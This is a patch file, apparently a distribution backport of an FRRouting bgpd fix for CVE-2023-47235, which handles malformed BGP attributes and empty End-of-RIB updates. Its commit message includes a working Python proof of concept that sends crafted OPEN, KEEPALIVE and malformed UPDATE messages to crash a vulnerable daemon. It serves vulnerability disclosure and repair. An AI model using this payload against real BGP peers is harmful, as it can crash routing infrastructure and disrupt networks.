| From 6814f2e0138a6ea5e1f83bdd9085d9a77999900b Mon Sep 17 00:00:00 2001 |
| From: Donatas Abraitis <donatas@opensourcerouting.org> |
| Date: Fri, 27 Oct 2023 11:56:45 +0300 |
| Subject: [PATCH] bgpd: Treat EOR as withdrawn to avoid unwanted handling of |
| malformed attrs |
| |
| Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be |
| processed as a normal UPDATE without mandatory attributes, that could lead |
| to harmful behavior. In this case, a crash for route-maps with the configuration |
| such as: |
| |
| ``` |
| router bgp 65001 |
| no bgp ebgp-requires-policy |
| neighbor 127.0.0.1 remote-as external |
| neighbor 127.0.0.1 passive |
| neighbor 127.0.0.1 ebgp-multihop |
| neighbor 127.0.0.1 disable-connected-check |
| neighbor 127.0.0.1 update-source 127.0.0.2 |
| neighbor 127.0.0.1 timers 3 90 |
| neighbor 127.0.0.1 timers connect 1 |
| ! |
| address-family ipv4 unicast |
| neighbor 127.0.0.1 addpath-tx-all-paths |
| neighbor 127.0.0.1 default-originate |
| neighbor 127.0.0.1 route-map RM_IN in |
| exit-address-family |
| exit |
| ! |
| route-map RM_IN permit 10 |
| set as-path prepend 200 |
| exit |
| ``` |
| |
| Send a malformed optional transitive attribute: |
| |
| ``` |
| import socket |
| import time |
| |
| OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" |
| b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02" |
| b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02" |
| b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00" |
| b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d" |
| b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01" |
| b"\x80\x00\x00\x00") |
| |
| KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" |
| b"\xff\xff\xff\xff\xff\xff\x00\x13\x04") |
| |
| UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b") |
| |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
| s.connect(('127.0.0.2', 179)) |
| s.send(OPEN) |
| data = s.recv(1024) |
| s.send(KEEPALIVE) |
| data = s.recv(1024) |
| s.send(UPDATE) |
| data = s.recv(1024) |
| time.sleep(100) |
| s.close() |
| ``` |
| |
| Reported-by: Iggy Frankovic <iggyfran@amazon.com> |
| Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org> |
| Upstream-Status: Backport [https://github.com/FRRouting/frr/commit/6814f2e0138a6ea5e1f83bdd9085d9a77999900b] |
| CVE: CVE-2023-47235 |
| Signed-off-by: Jonas Gorski <jonas.gorski@bisdn.de> |
| --- |
| bgpd/bgp_attr.c | 15 ++++++++++++--- |
| 1 file changed, 12 insertions(+), 3 deletions(-) |
| |
| diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c |
| index cf2dbe65b805..1473dc772502 100644 |
| --- a/bgpd/bgp_attr.c |
| +++ b/bgpd/bgp_attr.c |
| @@ -3391,10 +3391,13 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr, |
| uint8_t type = 0; |
| |
| /* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an |
| - * empty UPDATE. */ |
| + * empty UPDATE. Treat-as-withdraw, otherwise if we just ignore it, |
| + * we will pass it to be processed as a normal UPDATE without mandatory |
| + * attributes, that could lead to harmful behavior. |
| + */ |
| if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag && |
| !length) |
| - return BGP_ATTR_PARSE_PROCEED; |
| + return BGP_ATTR_PARSE_WITHDRAW; |
| |
| /* "An UPDATE message that contains the MP_UNREACH_NLRI is not required |
| to carry any other path attributes.", though if MP_REACH_NLRI or NLRI |
| @@ -3889,7 +3892,13 @@ done: |
| aspath_unintern(&as4_path); |
| |
| transit = bgp_attr_get_transit(attr); |
| - if (ret != BGP_ATTR_PARSE_ERROR) { |
| + /* If we received an UPDATE with mandatory attributes, then |
| + * the unrecognized transitive optional attribute of that |
| + * path MUST be passed. Otherwise, it's an error, and from |
| + * security perspective it might be very harmful if we continue |
| + * here with the unrecognized attributes. |
| + */ |
| + if (ret == BGP_ATTR_PARSE_PROCEED) { |
| /* Finally intern unknown attribute. */ |
| if (transit) |
| bgp_attr_set_transit(attr, transit_intern(transit)); |
| -- |
| 2.42.1 |
| |